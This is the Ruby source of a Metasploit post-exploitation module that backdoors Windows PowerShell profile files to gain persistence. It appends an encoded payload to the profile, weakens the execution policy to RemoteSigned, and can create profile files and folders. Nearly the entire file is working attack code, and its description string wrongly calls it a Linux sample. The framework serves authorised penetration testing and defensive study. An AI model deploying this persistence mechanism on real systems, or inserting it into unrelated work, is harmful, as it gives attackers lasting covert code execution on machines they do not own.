Files
metasploit-gs/modules/exploits/windows/persistence/powershell_profile.rb
T
2026-04-14 09:45:44 -04:00

169 lines
6.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::Powershell
include Msf::Post::Windows::Registry
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Powershell Profile Persistence',
'Description' => %q{
This exploit sample shows how a persistence module could be written
for a linux computer.
},
'License' => MSF_LICENSE,
'Author' => [
'madefourit'
],
'Platform' => [ 'win' ],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE],
[ 'URL', 'https://pentestlab.blog/2019/11/05/persistence-powershell-profile/']
],
'DisclosureDate' => '2019-11-05',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options [
OptEnum.new('PROFILE', [true, 'The powershell profile to target.', 'AUTO', ['AUTO', 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST']]),
OptBool.new('CREATE', [false, 'If a profile file doesnt exist, create one.', false]),
OptBool.new('EXECUTIONPOLICY', [false, 'Attempt to update execution policy to execute .', true]),
]
end
def policy_allows_execution?
# Get-ExecutionPolicy -List has words, but when converting to json to read easily it gives numbers, so we have to map them back
execution_policies = cmd_exec('powershell -NoProfile -Command "$h = @{}; Get-ExecutionPolicy -List | ForEach-Object { $h[$_.Scope.ToString()] = $_.ExecutionPolicy.ToString() }; $h | ConvertTo-Json"')
begin
@policies = JSON.parse(execution_policies)
rescue JSON::ParserError
print_error("Failed to parse powershell execution policies: #{execution_policies}")
return false
end
['Unrestricted', 'RemoteSigned', 'Bypass'].include?(@policies['CurrentUser'])
end
def check
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')
unless policy_allows_execution?
if datastore['EXECUTIONPOLICY']
return Msf::Exploit::CheckCode::Appears("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}), will attempt to override")
else
return Msf::Exploit::CheckCode::Safe("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}) doesn't allow script execution, try setting EXECUTIONPOLICY")
end
end
vprint_status("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']})")
CheckCode::Appears('Powershell is installed and exploitable on the target system')
end
def backdoor_profile(profile_file)
module_created_file = false
unless file?(profile_file)
if datastore['CREATE']
print_status("#{profile_file} does not exist, creating it...")
folders = profile_file.split('\\')[0..-2]
folders = folders.join('\\')
# we can't use mkdir here because register_dir_for_cleanup gets called, and we handle our own cleanups
unless directory?(folders)
cmd_exec("cmd /c \"md #{folders}\"")
@clean_up_rc << "rmdir #{folders.gsub('\\', '/')}\n"
end
unless write_file(profile_file, '') # write empty file so we can append later
print_error("Failed to create profile file at #{profile_file}")
return false
end
module_created_file = true
else
print_error("#{profile_file} does not exist and CREATE option is false")
return false
end
end
if module_created_file
@clean_up_rc << "rm #{profile_file.gsub('\\', '/')}\n"
else
pfile = read_file(profile_file)
if pfile.nil?
vprint_warning("Unable to read (and backup) existing profile file at #{profile_file}, continuing without backup")
else
backup_file = store_loot(
'powershell.profile',
'text/plain',
session,
pfile, profile_file.split('\\').last,
'powershell profile backup'
)
print_status("Created #{profile_file} backup: #{backup_file}")
@clean_up_rc << "upload #{backup_file} #{profile_file}\n"
end
end
pload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)
splitter = '-c '
pload = pload.split(splitter)[1..] # remove all the powershell.exe and setup/run stuff, we only need the code bit here
pload = pload.join(splitter)[1..-2] # rejoin, then remove surrounding double quotes
vprint_status("Appending payload to #{profile_file}")
unless append_file(profile_file, "\n#{pload}\n")
print_error("Failed to append payload to #{profile_file}")
return false
end
true
end
def install_persistence
profiles = cmd_exec('powershell -NoProfile -Command "$PROFILE | Select-Object * | ConvertTo-Json"')
begin
profiles = JSON.parse(profiles)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, "Failed to parse powershell profile paths: #{profiles}")
end
profiles = profiles.transform_keys { |k| k.to_s.upcase }
if !policy_allows_execution? && datastore['EXECUTIONPOLICY']
print_status('Updating Powershell execution policy for CurrentUser to RemoteSigned')
cmd_exec('powershell -NoProfile -Command "Set-ExecutionPolicy -Scope CurrentUser RemoteSigned"')
@clean_up_rc << "execute -f powershell -a \"-NoProfile -w hidden -Command 'Set-ExecutionPolicy -Scope CurrentUser #{@policies['CurrentUser']}'\"\n"
end
case datastore['PROFILE']
when 'AUTO'
['ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'].each do |profile|
unless profiles.key?(profile)
print_error("#{profile} not found in user's profiles")
next
end
success = backdoor_profile(profiles[profile])
break if success
end
when 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'
unless profiles.key?(datastore['PROFILE'])
fail_with(Failure::UnexpectedReply, "#{datastore['PROFILE']} not found in user's profiles")
end
backdoor_profile(profiles[datastore['PROFILE']])
end
end
end